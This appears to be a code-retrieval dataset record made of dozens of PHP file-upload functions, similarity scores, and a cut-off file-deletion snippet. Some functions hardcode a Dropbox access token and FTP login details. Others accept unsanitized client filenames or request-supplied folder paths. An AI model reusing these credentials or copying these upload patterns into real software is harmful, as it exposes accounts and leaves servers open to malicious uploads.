"public function uploadAction()\n\t{\n\t\t$chunkSize = $this->getSizeTempFile();\n\n\t\t$isUploadStarted = ($this->uploadedPart > 0);\n\t\tif (!$isUploadStarted)\n\t\t{\n\t\t\t$reservedSize = round($chunkSize * ceil($this->totalItems / $this->pageSize) * 1.5);\n\n\t\t\t$this->uploadPath = $this->generateUploadDir(). $this->fileName;\n\n\t\t\t$this->findInitBucket(array(\n\t\t\t\t'fileSize' => $reservedSize,\n\t\t\t\t'fileName' => $this->uploadPath,\n\t\t\t));\n\n\t\t\tif ($this->checkCloudErrors())\n\t\t\t{\n\t\t\t\t$this->saveProgressParameters();\n\n\t\t\t\tif ($this->bucket->FileExists($this->uploadPath))\n\t\t\t\t{\n\t\t\t\t\tif(!$this->bucket->DeleteFile($this->uploadPath))\n\t\t\t\t\t{\n\t\t\t\t\t\t$this->addError(new Error('File exists in a cloud.'));\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$this->instanceBucket();\n\n\t\t\t$this->checkCloudErrors();\n\t\t}\n\n\n\t\tif (!file_exists($this->filePath))\n\t\t{\n\t\t\t$this->addError(new Error('Uploading file not exists.'));\n\t\t}\n\n\t\tif (count($this->getErrors()) > 0)\n\t\t{\n\t\t\treturn AjaxJson::createError($this->errorCollection);\n\t\t}\n\n\n\t\t$isSuccess = false;\n\n\t\tif ($this->isExportCompleted && !$isUploadStarted)\n\t\t{\n\t\t\t// just only one file\n\t\t\t$uploadFile = array(\n\t\t\t\t'name' => $this->fileName,\n\t\t\t\t'size' => $this->fileSize,\n\t\t\t\t'type' => $this->fileType,\n\t\t\t\t'tmp_name' => $this->filePath,\n\t\t\t);\n\n\t\t\tif ($this->bucket->SaveFile($this->uploadPath, $uploadFile))\n\t\t\t{\n\t\t\t\t$this->uploadedPart ++;\n\t\t\t\t$this->uploadedSize += $chunkSize;\n\t\t\t\t$isSuccess = true;\n\t\t\t\t$this->isUploadFinished = true;\n\t\t\t}\n\t\t\telse\n\t\t\t{\n\t\t\t\t$this->addError(new Error('Uploading error.'));\n\t\t\t}\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$uploader = new \\CCloudStorageUpload($this->uploadPath);\n\t\t\tif (!$uploader->isStarted())\n\t\t\t{\n\t\t\t\tif (!$uploader->Start($this->bucketId, $reservedSize, $this->fileType))\n\t\t\t\t{\n\t\t\t\t\t$this->addError(new Error('Start uploading error.'));\n\n\t\t\t\t\treturn AjaxJson::createError($this->errorCollection);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t$part = $this->getContentTempFile();\n\n\t\t\twhile ($uploader->hasRetries())\n\t\t\t{\n\t\t\t\tif ($uploader->Next($part, $this->bucket))\n\t\t\t\t{\n\t\t\t\t\t$this->uploadedPart ++;\n\t\t\t\t\t$this->uploadedSize += $chunkSize;\n\t\t\t\t\t$isSuccess = true;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t}\n\t\t\tunset($part);\n\n\t\t\t// finish\n\t\t\tif ($isSuccess && $this->isExportCompleted)\n\t\t\t{\n\t\t\t\tif ($uploader->Finish())\n\t\t\t\t{\n\t\t\t\t\t$this->isUploadFinished = true;\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t$this->addError(new Error('FILE_UNKNOWN_ERROR'));\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ($isSuccess)\n\t\t{\n\t\t\t$this->dropTempFile();\n\t\t}\n\n\t\t// Save progress\n\t\t$this->saveProgressParameters();\n\n\t\t// continue export into temporally file\n\t\t$result = $this->preformAnswer(self::ACTION_UPLOAD);\n\t\t$result['STATUS'] = self::STATUS_PROGRESS;\n\n\t\treturn $result;\n\t}",
"public function upload()\n {\n $path = $this->file_path;\n if (!file_exists($path)) {\n mkdir($path, 0777, true);\n }\n\n // Upload file. \n $file_name = strtolower(basename($_FILES['uploaded_file']['name']));\n $file_name = str_replace(' ', '-', $file_name); // Replace spaces with dashes.\n $path = $path . $file_name;\n\n $acceptable = array(\n 'image/jpeg',\n 'image/jpg',\n 'image/gif',\n 'image/png'\n );\n\n if(in_array($_FILES['uploaded_file']['type'], $acceptable)) {\n\n if(move_uploaded_file($_FILES['uploaded_file']['tmp_name'], $path)) {\n\n $file_msg = 'The file '. $path . ' has been uploaded';\n \n // Not ideal but good for now\n \n // Refresh parent on upload.\n echo \"<script>window.parent.location.reload(true);</script>\";\n\n } else {\n\n $file_msg = 'There was a problem with the upload.';\n }\n }\n else {\n\n $file_msg = 'Bad file uploaded.';\n }\n return $file_msg;\n }",
"public function upload()\n {\n // the file property can be empty if the field is not required\n if (null === $this->avatar)\n {\n return;\n }\n\n //Lastname du fichier\n $file = $this->id_user.'.'.$this->avatar->guessExtension();\n // move takes the target directory and then the target filename to move to\n $this->avatar->move($this->getUploadRootDir(), $file);\n //Suppression des thumbnail déjà en cache\n @unlink(__DIR__.'/../../../../../web/imagine/thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/avatar_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/moyen_thumbnail/avatars/'.$file);\n @unlink(__DIR__.'/../../../../../web/imagine/mini_thumbnail/avatars/'.$file);\n\n // set the path property to the filename where you'ved saved the file\n $this->avatar = $file;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n// use the original file name here but you should\n// sanitize it at least to avoid any security issues\n// move takes the target directory and then the\n// target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(),\n $this->getFile()->getClientOriginalName()\n );\n// set the path property to the filename where you've saved the file\n $this->logo = $this->getFile()->getClientOriginalName();\n// clean up the file property as you won't need it anymore\n $this->file = null;\n\n\n }",
"public function upload($input);",
"public function upload_file_file()\n\t{\n\t\tif (!$this->is_allowed('dokumentasi_tol_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'dokumentasi_tol',\n\t\t]);\n\t}",
"public function UploadFile()\n {\n # ==============================================================================\n \n if (!empty($_FILES)) {\n $tempFile = $_FILES['Filedata']['tmp_name'];\n $targetPath = $_SERVER['DOCUMENT_ROOT'] . $_REQUEST['folder'] . '/';\n \n $original_name = $_FILES['Filedata']['name'];\n $name_parts = explode('.', $original_name);\n $parts_count = count($name_parts)-1;\n $extension = $name_parts[$parts_count];\n \n $new_name = \"{$this->Sessions_Id}.{$extension}\";\n $targetFile = str_replace('//','/',$targetPath) . $new_name;\n \n $result = move_uploaded_file($tempFile, $targetFile);\n if (!$result) {\n echo \"FAILED TO MOVE FILE\";\n }\n echo str_replace($_SERVER['DOCUMENT_ROOT'], '', $targetFile);\n $this->UpdateSessionChecklist();\n }\n }",
"private function uploadFile()\n {\n $uid = $this->param[2];\n $src = $_FILES['Filedata']['tmp_name'];\n $dst = TEMP_DIR . '/' . $uid . $_FILES['Filedata']['name'];\n \n if(@move_uploaded_file($src, $dst))\n {\n $data = \"{$_FILES['Filedata']['name']}:$dst:{$_FILES['Filedata']['size']}\";\n echo $data;\n }\n exit;\n }",
"public function upload()\n {\n if (null === $this->image) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the target filename to move to\n $this->file->move($this->getUploadRootDir(), $this->image->getClientOriginalName());\n\n // set the path property to the filename where you'ved saved the file\n $this->path = $this->image->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n $this->picture = file_get_contents($this->getFile());\n\n if (isset($this->temp)) {\n $this->temp = null;\n }\n\n $this->file = null;\n }",
"function uploadFiles () {\n\n}",
"#[Post('/upload', name: 'upload')]\n public function upload(Request $request)\n {\n if (! ($file = $request->file('file'))) {\n abort(400);\n }\n\n $path = $file->store('upload', 'files');\n\n return [\n 'location' => Storage::disk('files')->url($path),\n ];\n }",
"public function actionUpload()\n {\n if (isset($_GET['department_id_from_url'])) {\n $filename = $_FILES['file']['name'];\n /* Location */\n $location = \"C:/OpenServer/domains/localhost/application/photo/\".$_GET['department_id_from_url'].\"/\" . $filename;\n $uploadOk = 1;\n $imageFileType = pathinfo($location, PATHINFO_EXTENSION);\n /* Valid Extensions */\n $valid_extensions = array(\"jpg\", \"jpeg\", \"png\");\n /* Check file extension */\n if (!in_array(strtolower($imageFileType), $valid_extensions)) {\n $uploadOk = 0;\n echo 0;\n }\n if ($uploadOk == 0) {\n echo 0;\n } else {\n /* Upload file */\n if (move_uploaded_file($_FILES['file']['tmp_name'], $location)) {\n echo $filename;\n } else {\n echo 0;\n }\n }\n }\n }",
"function uploadObject();",
"function upload($file, $end_path) {\n $auth = '';\n $date= getdate();\n $size = filesize($file);\n $path = $end_path.'/'.$date['year'].'-'.$date['mon'].'-'.$date['mday'].'/'.$file;\n $fp = fopen($file, 'r');\n $cheaders = array('Authorization: Bearer ' .$auth.'jMxNU5Ezc-gAAAAAAAAAAQLxvI0If8AV4wHpthpOmIRTKJr0otk_cUH7YiGw-_SU',\n 'Content-Type: application/octet-stream',\n 'Dropbox-API-Arg: {\"path\":\"/'.$path.'\", \"mode\":\"add\"}');\n\n $ch = curl_init('https://content.dropboxapi.com/2/files/upload');\n curl_setopt($ch, CURLOPT_HTTPHEADER, $cheaders);\n curl_setopt($ch, CURLOPT_PUT, true);\n curl_setopt($ch, CURLOPT_CUSTOMREQUEST, 'POST');\n curl_setopt($ch, CURLOPT_INFILE, $fp);\n curl_setopt($ch, CURLOPT_INFILESIZE, $size);\n curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\n $response = curl_exec($ch);\n\n curl_close($ch);\n fclose($fp);\n }",
"private function submitFile()\n {\n\n $encoded_url = urlencode($this->getFileUrl());\n\n wp_remote_get(self::GOOGLE_WEBMASTER_TOOLS_URL . $encoded_url);\n wp_remote_get(self::BING_WEBMASTER_TOOLS_URL . $encoded_url);\n\n }",
"public function upload($file,$path_name,$encoding='binary',$chmod=0775)\n\t{\n\t\t\n\t\t$config['hostname'] = 'endeavor1.servillianhosting.com';\n\t\t$config['username'] = '[email protected]';\n\t\t$config['password'] = 'j1135#weep';\n\n\t\tparent::connect($config); \n\t\t\n\t\t//append the root onto the path name every time\n\t\t$full_path = $this->get_server_http_root().$path_name;\n\t\t \n\t\t$s = parent::upload($file,$full_path,$encoding,$chmod);\n\t\tparent::close(); \n\t\treturn $s;\n\t}",
"public function send_file($file)\r\n\t{\r\n\t\t\r\n\t\t$this->config = array(\r\n\t\t\t\t'encrypt_name'\t=> true,\r\n 'upload_path' \t=> $this->path.'/'.$this->subpasta,\r\n 'allowed_types'\t=> $this->types_files,\r\n 'max_size' \t=> $this->max_size,\r\n 'max_height' \t=> $this->max_height,\r\n 'max_width' \t=> $this->max_width,\r\n );\r\n\r\n\t\t$this->CI->load->library('upload', $this->config); \r\n\r\n\t\tif(!$this->CI->upload->do_upload($file))\r\n\t\t{\r\n\t\t\t$error = array('error' => $this->CI->upload->display_errors());\r\n\r\n\t\t\treturn $error;\r\n\t\t}\r\n\t\telse\r\n\t\t{\r\n\t\t\treturn $this->CI->upload->data();\r\n\t\t}\r\n\t}",
"public function upload_file_file()\n\t{\n\t\tif (!$this->is_allowed('dokumentasi_bendungan_add', false)) {\n\t\t\techo json_encode([\n\t\t\t\t'success' => false,\n\t\t\t\t'message' => cclang('sorry_you_do_not_have_permission_to_access')\n\t\t\t\t]);\n\t\t\texit;\n\t\t}\n\n\t\t$uuid = $this->input->post('qquuid');\n\n\t\techo $this->upload_file([\n\t\t\t'uuid' \t\t \t=> $uuid,\n\t\t\t'table_name' \t=> 'dokumentasi_bendungan',\n\t\t]);\n\t}",
"public function uploadAction($file) {\n\t\t\n\t\t$renderPartial = $this->request->hasArgument('renderPartial') ? $this->request->getArgument('renderPartial') : '';\n\t\t$mode = $this->request->hasArgument('mode') ? $this->request->getArgument('mode') : '';\n\t\t$filetype = $this->request->hasArgument('filetype') ? $this->request->getArgument('filetype') : 'file';\n\t\tif ($filetype == 'pdf') {\n\t\t\tif ($file->getOriginalResource()->getFileextension() !== 'pdf') {\n\t\t\t\t$this->forward('new', NULL, NULL, array('file' => $file,'mode'=>$mode,'renderPartial'=>$renderPartial, 'filetype' => $filetype));\n\t\t\t}\n\t\t}\n\t\t\n\t\tif ($this->persistenceManager->isNewObject($file)) {\n\t\t\t$this->fileResourceRepository->add($file);\n\t\t} else {\n\t\t\t$this->fileResourceRepository->update($file);\n\t\t}\n\t\t\n\t\t$this->forward('edit', NULL, NULL, array('file' => $file,'mode'=>$mode,'renderPartial'=>$renderPartial, 'filetype' => $filetype));\n\t}",
"private function uploadAFile($file, $data){\n\n\t\t$path = $file->getRealPath();\n\t\t$filename = $file->getClientOriginalName();\n\t\t$ext = $file->getClientOriginalExtension();\n\t\t$mime = $file->getMimeType();\n\t\t$file_path = pathinfo($filename);\n\n\t\t$hashed_id = Crypt::encrypt($data['user_id']);\n\n\t\t$hashed_id = substr($hashed_id, 0, 10);\n\t\t\n\t\t$saveas = $file_path['filename'].'_' . date('Y-m-d_H-i-s') . '_' . $hashed_id . \".\" . strtolower($ext);\n\n\t\t// upload to aws regardless of filetype\n\t\t$s3 = AWS::get('s3');\n\t\t$s3->putObject(array(\n\t\t\t'ACL' => 'public-read',\n\t\t\t'Bucket' => 'asset.plexuss.com/admin/campaign/uploads',\n\t\t\t'Key' => $saveas,\n\t\t\t'SourceFile' => $path\n\t\t));\n\n\t\t$ret = array();\n\t\t$ret['is_image'] = 0;\n\t\t$ret['name'] = $saveas;\n\n\t\treturn json_encode($ret);\n\t\t\n\t}",
"abstract public function uploadFile($filename, $bucket = false);",
"public function testUploadToServer(): void {\n\t\t\t $file = tmpfile();\n\t\t\t fwrite($file, 'Test data');\n\t\t\t $filePath = stream_get_meta_data($file)['uri'];\n\t\t\t // Simulate the uploaded file using $_FILES superglobal\n\t\t\t $_FILES['test_file'] = array(\n\t\t\t\t 'name' => 'test.txt',\n\t\t\t\t 'type' => 'text/plain',\n\t\t\t\t 'tmp_name' => $filePath,\n\t\t\t\t 'error' => 0,\n\t\t\t\t 'size' => filesize($filePath)\n\t\t\t );\n\t\t\t $upload = new Upload();\n\t\t\t // Mock the file upload in your method\n\t\t\t $result = $upload->uploadToServer();\n\t\t\t // Assert the result\n\t\t\t $this->assertEquals([\n\t\t\t\t\"status\"\t=> 1,\n\t\t\t\t\"message\"\t=> \"File successfully uploaded!\",\n\t\t\t\t\"fileName\"\t=> 'test.txt'\n\t\t\t], $result);\n\t\t}",
"public function upload()\n {\n if (null === $this->getImg()) {\n return;\n }\n\n // we use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and target filename as params\n $this->getImg()->move(\n self::SERVER_PATH_TO_PRESS_IMAGE_FOLDER,\n $this->getImg()->getClientOriginalName()\n );\n\n // set the path property to the filename where you've saved the file\n $this->imageUrl = $this->getImg()->getClientOriginalName();\n\n // clean up the file property as you won't need it anymore\n $this->setImg(null);\n }",
"public static function upload($file) {\n\t\tif ($file [\"error\"] != 0) {\n\t\t\t$this->handleError ( $file [\"error\"] );\n\t\t\treturn false;\n\t\t}\n\t\t\n\t\t$filename = $file ['name'];\n\t\t$tmpname = $file ['tmp_name'];\n\t\t$newFileName = dirname(__FILE__).'/../../res/upload/' . $filename;\n\t\tif (file_exists ( $newFileName )) {\n\t\t\t$newFileName = self::rename ( $newFileName );\n\t\t}\n\t\treturn move_uploaded_file ( $tmpname, $newFileName );\n\t}",
"public function upload_file(){\n //return from method if file name is sample\n if($this->file_name == 'sample.jpg'){\n return;\n }\n\n $allowed_types = ['image/jpeg', 'image/gif', 'image/png'];\n //check file is an image\n if(!in_array($this->file_type, $allowed_types)){\n throw new Exception('File must be an image');\n exit;\n }\n\n //move from temp dir in to uploads folder\n move_uploaded_file($this->tmp_file_name, $this->dir_location . $this->file_name );\n }",
"public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}",
"public function uploadAction() {\r\n\t\t$imgId = $this->getInput('imgId');\r\n\t\t$this->assign('imgId', $imgId);\r\n\t\t$this->getView()->display('common/upload.phtml');\r\n\t\texit;\r\n\t}",
"public static function upload($file)\n {\n $suffix = pathinfo($file['name'],PATHINFO_EXTENSION);\n if($suffix != 'jpg' && $suffix != 'png'){\n return false;\n }\n \n $dir = Yii::getAlias('@app') . '/../web/backend/uploads/';\n if(!is_dir($dir)){\n mkdir($dir,0777,true);\n }\n $file_name = date('YmdHis',time()) . mt_rand('10000','99999'). '.' .$suffix;\n move_uploaded_file($file[\"tmp_name\"], $dir.$file_name);\n// $bmobFile = new BmobFile();\n//\n// //第一个参数是文件的名称,第二个参数是文件的url(可以是本地路径,最终是通过file_get_contents获取文件内容)\n// $res=$bmobFile->uploadFile2($file[\"name\"],$dir.$file_name);\n// unlink($dir.$file_name);\n return '/uploads/'.$file_name;\n }",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function uploadAction() {\n\t\t$imgId = $this->getInput('imgId');\n\t\t$this->assign('imgId', $imgId);\n\t\t$this->getView()->display('common/upload.phtml');\n\t\texit;\n\t}",
"public function upload()\n{\n // The file property can be empty if the field is not required\n if (null === $this->file) {\n return;\n }\n\n // Use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n // move takes the target directory and then the\n // target filename to move to\n $this->file->move(\n $this->getUploadRootDir(),\n $this->path\n );\n\n // Set the path property to the filename where you've saved the file\n //$this->path = $this->file->getClientOriginalName();\n\n // Clean up the file property as you won't need it anymore\n $this->file = null;\n}",
"public function uploadFile()\r\n\t{\r\n\t\t// Validate the container\r\n\t\t$this->_container = $this->getContainer();\r\n\t\tif ($this->_container == NULL)\r\n\t\t\treturn array('error' => Yii::t('ciims.misc', 'Unable to attach OpenStack Container.'));\r\n\r\n\t\t$validation = $this->validateFile();\r\n \r\n if (isset($validation['error']))\r\n \treturn $validation;\r\n else\r\n {\r\n \t$filename = $validation['data']['filename'];\r\n \t$data = $validation['data']['data'];\r\n \t$ext = $validation['data']['ext'];\r\n }\r\n\r\n try {\r\n \t$response = $this->_container->uploadObject($filename.'.'.$ext, $data, array());\r\n \tif ($response)\r\n\t \t return array('success'=>true,'filename'=> $filename.'.'.$ext, 'url' => $this->_container->getCDN()->getMetadata()->getProperty('Ssl-Uri'));\r\n\t else\r\n\t \treturn array('error'=> Yii::t('ciims.misc', 'Could not save uploaded file. The upload was cancelled, or server error encountered'));\r\n } catch (Exception $e) {\r\n \treturn array('error'=> Yii::t('ciims.misc', 'The server encountered an error during uploading. Please verify that you have saufficient space in the container and that your quota has not been reached.'));\r\n }\r\n\t}",
"public function uploadPath();",
"public function upload()\n\t{\n\t\t/** @var \\Akeeba\\Backup\\Admin\\Model\\Transfer $model */\n\t\t$model = $this->getModel();\n\n\t\tif ($this->input->getBool('start', false))\n\t\t{\n\t\t\t$model->resetUpload();\n\t\t}\n\n\t\ttry\n\t\t{\n\t\t\t$config = $model->getFtpConfig();\n\t\t\t$uploadResult = $model->uploadChunk($config);\n\t\t}\n\t\tcatch (Exception $e)\n\t\t{\n\t\t\t$uploadResult = (object)[\n\t\t\t\t'status' => false,\n\t\t\t\t'message' => $e->getMessage(),\n\t\t\t\t'totalSize' => 0,\n\t\t\t\t'doneSize' => 0,\n\t\t\t\t'done' => false\n\t\t\t];\n\t\t}\n\n\t\t$result = (object)$uploadResult;\n\n\t\t@ob_end_clean();\n\t\techo '###' . json_encode($result) . '###';\n\t\t$this->container->platform->closeApplication();\n\t}",
"public function uploadAction() {\n $imgId = $this->getInput('imgId');\n $this->assign('imgId', $imgId);\n $this->getView()\n ->display('common/upload.phtml');\n }",
"public function upload()\n {\n if (!Request::hasPost('requestToken') || !RequestToken::validate(Request::getPost('requestToken'))) {\n $objResponse = new ResponseError();\n $objResponse->setMessage('Invalid Request Token!');\n $objResponse->output();\n }\n\n if (!Request::getInstance()->files->has($this->name)) {\n return;\n }\n\n $objTmpFolder = new \\Folder(MultiFileUpload::UPLOAD_TMP);\n\n // contao 4 support, create tmp dir symlink\n if (version_compare(VERSION, '4.0', '>=')) {\n // tmp directory is not public, mandatory for preview images\n if (!file_exists(System::getContainer()->getParameter('contao.web_dir') . DIRECTORY_SEPARATOR . MultiFileUpload::UPLOAD_TMP)) {\n $objTmpFolder->unprotect();\n $command = new SymlinksCommand();\n $command->setContainer(System::getContainer());\n $input = new ArrayInput([]);\n $output = new NullOutput();\n $command->run($input, $output);\n }\n }\n\n $strField = $this->name;\n $varFile = Request::getInstance()->files->get($strField);\n // Multi-files upload at once\n if (is_array($varFile)) {\n // prevent disk flooding\n if (count($varFile) > $this->maxFiles) {\n $objResponse = new ResponseError();\n $objResponse->setMessage('Bulk file upload violation.');\n $objResponse->output();\n }\n\n /**\n * @var UploadedFile $objFile\n */\n foreach ($varFile as $strKey => $objFile) {\n $arrFile = $this->uploadFile($objFile, $objTmpFolder->path, $strField);\n $varReturn[] = $arrFile;\n\n if (\\Validator::isUuid($arrFile['uuid'])) {\n $arrUuids[] = $arrFile['uuid'];\n }\n }\n } // Single-file upload\n else {\n /**\n * @var UploadedFile $varFile\n */\n $varReturn = $this->uploadFile($varFile, $objTmpFolder->path, $strField);\n\n if (\\Validator::isUuid($varReturn['uuid'])) {\n $arrUuids[] = $varReturn['uuid'];\n }\n }\n\n if ($varReturn !== null) {\n $this->varValue = $arrUuids;\n $objResponse = new ResponseSuccess();\n $objResult = new ResponseData();\n $objResult->setData($varReturn);\n $objResponse->setResult($objResult);\n\n return $objResponse;\n }\n }",
"function upload($file,$path){\n try{\n if($file->isValid() && $path){\n $clientName = $file->getClientOriginalName();\n\n $tmpName = $file->getFileName();\n //缓存路径\n $realPath = $file->getRealPath();\n //扩展名\n $entension = $file->getClientOriginalExtension();\n //文件类型\n $mimeType = $file->getMimeType();\n// $url = $file->move($path);\n $newName = md5(date(\"Y-m-d H:i:s\").$clientName).\".\".$entension;\n $url = $file -> move($path,$newName);\n }\n }catch (Exception $e){\n// Log::error(e);\n }\n\n\n return $url;\n}",
"public function upload()\n {\n if (null === $this->getFile()) {\n return;\n }\n\n // use the original file name here but you should\n // sanitize it at least to avoid any security issues\n\n $path = ($this->isPublic()) ? 'public' : 'sections' . '/' . strtolower($this->getSection()->getCode());\n\n if (!is_dir($this->getUploadRootDir(). '/' .$path)){\n if (!mkdir($this->getUploadRootDir(). '/' .$path)){\n throw new \\Exception('Create dir exception');\n }\n }\n\n $filename = sha1(uniqid(mt_rand(), true)).'.'.$this->getFile()->guessExtension();\n\n // move takes the target directory and then the\n // target filename to move to\n $this->getFile()->move(\n $this->getUploadRootDir(). '/' .$path,\n $filename\n );\n\n // set the path property to the filename where you've saved the file\n $this->path = $path . '/' . $filename;\n\n // clean up the file property as you won't need it anymore\n $this->file = null;\n }",
"public function handle_upload()\n {\n }",
"public function Upload($path) { \n $filename = uniqid();\n\n if (!is_writable($path))\n throw new Exception(\"Sem permissões de escrita: \" . fileperms($path), 0);\n\n if ($_FILES[\"file\"][\"error\"] > 0)\n throw new Exception(\"Erro: \" . $_FILES[\"file\"][\"error\"] . \"<br/>\", 0);\n \n if (move_uploaded_file($_FILES[\"file\"][\"tmp_name\"], $path . \"{$filename}\"))\n return $path . $filename;\n else\n throw new Exception(\"Erro no upload!\", 0);\n }",
"public function uploadfileAction(){\n \t$cand_model = new Default_Model_Candidatedetails();\n \t$result = $cand_model->saveUploadedFile($_FILES);\n \t$this->_helper->json($result);\n }",
"public function uploadFileAdmin(){\r\n $file = Input::file('file');\r\n $projectId = Input::get('PROJECT');\r\n $adminId = Input::get('CONSULTANT');\r\n $project = Project::find($projectId);\r\n if($project!=null){\r\n if($file){\r\n $fileName = $file->getClientOriginalName();\r\n $file->move(public_path().'/files/projects/'.$project->lead->fileno.'/'.$project->id.'/uploaded', $fileName);\r\n //create the row in upload file\r\n $uploadFile = new UploadedFiles();\r\n $uploadFile->project_id = $projectId;\r\n $uploadFile->url = \"files/projects/\".$project->lead->fileno.\"/\".$project->id.\"/uploaded/$fileName\";\r\n $uploadFile->fileName = $fileName;\r\n $uploadFile->admin_id = $adminId;\r\n $uploadFile->ip = $_SERVER[\"REMOTE_ADDR\"];\r\n $uploadFile->save();\r\n ToolsFunctions::notifyGeorgeOfFileUpload($project);\r\n }\r\n }\r\n }",
"public function upload()\n {\n return $this->uploadOnce(Input::file('file'));\n }",
"public function upload(UploadedFile $file){\n return $file->store('public/uploads', 'local');\n }",
"public function uploadAction()\n {\n if ($this->request->hasFiles() == true) {\n\n // Print the real file names and sizes\n foreach ($this->request->getUploadedFiles() as $file) {\n // 获取文件的MD5\n $filesModels = new Files();\n $fileInfo = $filesModels->uploadFiles($file);\n \n $movePath = $fileInfo['movePath'];\n $fileUrl = $fileInfo['fileUrl'];\n \n if(file_exists($movePath)) { \n $jsonReturn = array(\n 'success' => 'true',\n 'msg' => '上传成功',\n 'file_path' => $fileUrl\n );\n echo json_encode($jsonReturn); \n } else {\n $jsonReturn = array(\n 'success' => 'false',\n 'msg' => '上传失败'\n );\n echo json_encode($jsonReturn); \n }\n \n }\n }\n\n $this->view->setRenderLevel(View::LEVEL_NO_RENDER);\n }",
"public static function uploadfile($upload_file){\r\n\t\t\r\n\t\t$file_store_options = array(\"base_dir\" => $file_upload_dir);\r\n\t\t\r\n \tif (empty($upload_file) && empty($_FILES) && empty($_POST) && isset($_SERVER['REQUEST_METHOD']) && strtolower($_SERVER['REQUEST_METHOD']) == 'post') {\r\n \t\tthrow new FileHandlerException($error_msg, Error::FILE_SIZE_EXCEEDED, \"upload_err_size_exceeded\");\r\n \t}\r\n $file = new Filesobject();\r\n $file->file_orig_name = $upload_file['name'];\r\n $file->file_size\t = $upload_file['size'];\r\n $path_parts = pathinfo($file->file_orig_name);\r\n $file->file_extension = strtolower($path_parts['extension']);\r\n $file->file_mime_type = $upload_file['type'];\r\n $file->file_tmp_name = $upload_file['tmp_name'];\r\n $error = $upload_file['error']; \r\n if($error) {\r\n $error_msg = $this->uploadErrors[$error];\r\n if($error == UPLOAD_ERR_INI_SIZE || $error == UPLOAD_ERR_FORM_SIZE) {\r\n throw new FileHandlerException($error_msg, Error::FILE_SIZE_EXCEEDED, \"upload_err_size_exceeded\");\r\n }\r\n else if($error == UPLOAD_ERR_NO_FILE) {\r\n throw new FileHandlerException($error_msg, Error::FILE_EMPTY, \"upload_err_empty\");\r\n }\r\n else {\r\n throw new Exception($error_msg, Error::FILE_UNKNOWN_UPLOAD_ERROR);\r\n }\r\n }\r\n return self::handleKliqBoothFile($file);\r\n\t}"
] | [
"0.7849794",
"0.7680516",
"0.7653441",
"0.7383236",
"0.7301473",
"0.72890365",
"0.72572786",
"0.7193977",
"0.715187",
"0.7141722",
"0.71389174",
"0.713381",
"0.7101605",
"0.7097335",
"0.70769876",
"0.70671976",
"0.7066263",
"0.6957567",
"0.695216",
"0.6948027",
"0.6946414",
"0.6871321",
"0.68669915",
"0.6853262",
"0.68505937",
"0.68505937",
"0.68505937",
"0.68505937",
"0.68482685",
"0.679609",
"0.6766091",
"0.6752373",
"0.67414576",
"0.67129654",
"0.66936076",
"0.66826904",
"0.6681489",
"0.66714865",
"0.6664976",
"0.66647595",
"0.66621226",
"0.6660325",
"0.66509855",
"0.66506904",
"0.66412914",
"0.6641087",
"0.6638789",
"0.6617634",
"0.6601462",
"0.6572766",
"0.65717465",
"0.65541124",
"0.65416396",
"0.65357965",
"0.65127474",
"0.6509748",
"0.64961016",
"0.6491743",
"0.6489609",
"0.64886224",
"0.64868337",
"0.6469315",
"0.64473736",
"0.6433062",
"0.64266366",
"0.64185417",
"0.64110893",
"0.6408514",
"0.64054114",
"0.6399634",
"0.6388699",
"0.6382885",
"0.6378035",
"0.63749367",
"0.6370736",
"0.63697046",
"0.6359721",
"0.6359721",
"0.6348617",
"0.6346632",
"0.6346632",
"0.6346632",
"0.6346632",
"0.6346632",
"0.6346632",
"0.63423467",
"0.63409615",
"0.6329694",
"0.6328187",
"0.6323057",
"0.63217616",
"0.63095987",
"0.6295533",
"0.6287737",
"0.6265542",
"0.62650937",
"0.625679",
"0.6255715",
"0.6254694",
"0.6251528",
"0.6227826"
] | 0.0 | -1 |
Removes a file from the server | public function deleteFile($fileName, $fileExtension = 'file', $isImage = false, $path = null)
{
// Create a correct path
$filePath = FileComponent::createFilePath($path, $fileName, $fileExtension, $isImage);
// Instanciate the file on the ftp
$file = new File($filePath);
